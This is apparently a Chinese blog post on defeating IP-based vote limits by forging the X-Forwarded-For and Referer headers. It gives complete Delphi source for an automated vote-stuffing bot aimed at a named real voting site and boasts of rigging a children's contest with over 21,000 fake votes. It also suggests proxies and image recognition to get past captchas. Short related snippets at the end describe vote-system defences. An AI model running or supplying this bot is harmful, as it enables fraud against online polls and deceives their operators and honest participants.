PHP中获得IP地址的一个函数,GetIP(),代码如下:
Code:
function GetIP(){
if($_SERVER['HTTP_CLIENT_IP']){
$onlineip=$_SERVER['HTTP_CLIENT_IP'];
}elseif($_SERVER['HTTP_X_FORWARDED_FOR']){
$onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$onlineip=$_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}
该函数获取的IP地址是可以绕过代理而仍能得到机器IP.
分析了函数代码后发现加了代理后,服务器获取的IP是来自变量:
$_SERVER['HTTP_X_FORWARDED_FOR']
这个变量是http头信息的一部分,是http头那就好伪造了,很激动,着手写测试代码,利用php的socket函数(注意这里不能用header()来发,这里是用php模拟http头向其他WEB服务器发送头信息)写了一个简单的测试代码,伪造了一个
X-Forwarded-For:IP地址
格式的头信息给服务器,然后再把投票表单POST到服务器,返回结果提示投票成功.兴奋中!喝了杯咖啡,换用DELPHI7 indy中的IdHTTP组件来进行POST提交,IdHTTP组件还可以直接象服务器发送头信息,设置COOKIE等,所以写这个投票作B程序非它莫属.程序中用了4个随机函数分别生成IP地址的4个段,然后用IDHTTP发送形如"X-Forwarded-For:IP地址"格式的头信息,为了更好的达到访真效果,再向服务器发送一个形如"Referer:URL地址"格式的头信息给服务器,伪造REFERER地址.为了更好的控制投票频率,还需要加个TIMER定时期,可以手动输入投票间隔时间,测试了一下,一秒投10次票很稳定.
最后记者朋友的宝贝女儿以21457票拿了第一名.
IDHTTP也可以使用代理,所以它可以用来对付限制IP,限制COOKIE的所有投票的作B,但是含有验证码的投票程序就不行了,这个可以使用图象识别来搞定.
整个代码如下:
Code:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdHTTP,StrUtils, ComCtrls, OleCtrls,
SHDocVw;
type
TForm1 = class(TForm)
web: TWebBrowser;
Panel1: TPanel;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
Timer1: TTimer;
ComboBox1: TComboBox;
Label6: TLabel;
procedure Timer1Timer(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure ComboBox1Change(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
i:integer;
implementation
{$R *.dfm}
function PostWebPage(url:String;TimeOut:Integer):String;
var
tmpWeb:TIdHTTP;
retrun:String;
para:String;
i:Integer;
paralist:TStrings;
ip1,ip2,ip3,ip4,ip:string;
begin
retrun:='';;
try
para:=MidStr(url,pos('?',url),length(url)-pos('?',url)+1);
paralist:=TStringList.Create;
paralist.Text:=StringReplace(para,'&',#13#10,[rfReplaceAll]);
tmpWeb:=TIdHTTP.Create(nil);
tmpWeb.ReadTimeout:=TimeOut;
Randomize;
ip1:= inttostr(1 + Random(223-58));
ip2:= inttostr(0 + Random(254-0));
ip3:= inttostr(0 + Random(254-0));
ip4:= inttostr(0 + Random(254-0));
ip:=ip1+'.'+ip2+'.'+ip3+'.'+ip4;
tmpWeb.Request.CustomHeaders.Add('Referer:http://baby.dukuai.com/');
//tmpWeb.Request.CustomHeaders.Add('HTTP_PC_REMOTE_ADDR:'+ip);
tmpWeb.Request.CustomHeaders.Add('X-Forwarded-For:'+ip);
for i:=1 to 3 do
begin
try
retrun:=tmpWeb.Post(url,paralist);
form1.web.Navigate('http://vote.dukuai.com//view.php?id=16');
except end;
if retrun<>'' then break;
end;
finally
tmpWeb.Disconnect;
FreeAndNil(tmpWeb);
FreeAndNil(paralist);
end;
Result:=retrun;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
temp:string;
begin
if trim(edit1.Text)<>'' then begin
temp:=PostWebPage(edit1.text,30000);
if temp<>'' then begin
//memo1.Text:=temp;
//memo1.Lines.SaveToFile('c:temp.htm');
//web.Navigate('c:temp.htm');
inc(i);
label2.Caption:=inttostr(i);
end;
end;
//timer1.Enabled:=false;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if self.Button1.Caption='开始' then
begin
timer1.Interval:=strtoint(edit2.Text);
timer1.Enabled:=true;
Button1.Caption:='停止';;
edit1.Enabled:=false;
edit2.Enabled:=false;
combobox1.Enabled:=false;
end
else
begin
timer1.Enabled:=false;
Button1.Caption:='开始';;
edit1.Enabled:=true;
edit2.Enabled:=true;
combobox1.Enabled:=true;
end;
end;
procedure TForm1.ComboBox1Change(Sender: TObject);
begin
edit1.Text:='http://vote.dukuai.com/vote.php?id=16&ITEM1='+inttostr(combobox1.ItemIndex+1)+'&VoteID=16'
end;
end.
分享到:
相关推荐
然而,在某些场景下,如数据抓取或匿名投票等应用中,可能需要模拟特定的行为或环境,这时候就需要用到伪造IP地址和HTTP_REFERER的技术。 #### HTTP_REFERER伪造 HTTP_REFERER字段在HTTP请求头部,用于告知服务器...
- 使用cookie:另一种方法是设置cookie,但这种方法较不安全,因为用户可以清除或伪造cookie。 3. 防IP限制: - IP地址检查:通过记录投票用户的IP地址,可以防止同一IP地址短时间内重复投票。每次投票时,检查...
然而,简单的IP获取方法可能会存在漏洞,允许用户通过伪造IP地址规避限制。 通常,当我们需要获取访问者的IP地址时,可以使用PHP的`$_SERVER`全局数组中的变量。在上述代码中,开发者尝试通过以下几种方式来获取IP...
- **会话管理**:利用Session或Cookie来跟踪用户状态,确保每个用户(无论其IP是否变化)只能参与一次投票。 - **日志监控**:记录投票行为,以便分析异常投票活动。 5. **数据库设计**: - **投票表**:存储...
- 防止刷票:可能设置IP限制或者用户登录后才能投票。 4. 前端设计: - HTML/CSS:构建投票页面的基本结构和样式。 - JavaScript/jQuery:用于前端验证,如检查选票是否已提交,提供更好的用户体验。 - AJAX:...
6. **安全防护**:网络安全是网上投票系统的基石,系统需要防止SQL注入、XSS跨站脚本攻击、CSRF跨站请求伪造等常见Web安全威胁。此外,数据传输应使用HTTPS协议加密,保证用户信息不被窃取。 7. **用户体验**:界面...
ASP.NET提供了多种安全特性,如AntiForgeryToken防止跨站请求伪造(CSRF),以及HttpOnly Cookie防止脚本攻击。 6. **用户界面**: 系统应包含清晰、直观的用户界面设计,这通常通过HTML、CSS和JavaScript实现。...
同时,投票系统可能还需要限制每个用户只能投一次,这就需要用到IP地址或cookies来识别用户。 6. **结果展示** 结果展示页面通常会显示各项选项的得票数,可能需要实时更新。PHP可以结合Ajax实现无刷新的动态更新...
- 这种方法依赖于在用户浏览器中存储的Cookie来记录投票信息,如投票时间或次数。然而,这种方法很容易被破解,用户只需清除浏览器Cookie,或者通过编程方式删除Cookie文件,就能绕过限制。 2. **IP方式**: - ...
这可能涉及到CSRF(跨站请求伪造)保护,IP跟踪,或者更复杂的机制,如基于Cookie的限制。 8. **API设计**:如果投票城堡支持API接口,那么RESTful API设计原则会被采用,使用Python的requests库进行HTTP请求。 9....
首先,文章提到了使用CURL进行信息伪造,这种方法是利用CURL库构造HTTP请求头,例如伪装客户端IP地址、用户代理等信息,以模拟正常用户访问。然而,这种做法可以被服务器端检测到,因此并不是一种长久的解决方案,但...
5. 防重复投票:利用Cookie、Session或基于IP的限制,更高级的还可以结合用户账户进行验证。 6. 计算与算法:使用编程语言内置的统计函数或自定义算法进行投票结果的计算。 四、投票系统的挑战与解决方案 1. 数据...
5. **防止重复投票**:为了防止同一用户多次投票,需要实现机制来追踪已投票的用户,例如IP地址检查、用户ID检查或使用cookies。 6. **安全性**:在线投票系统的安全性至关重要,包括防止SQL注入、XSS攻击、CSRF...
增加Cookie安全认证,避免伪造Cookie给用户资料造成的泄漏威胁 增加商品库存警报点设置,使得站长更容易掌握本站商品的库存情况 增加商品meta关键字、meta介绍,让搜索引擎更容易搜索到你网站的商品,也即意味着你...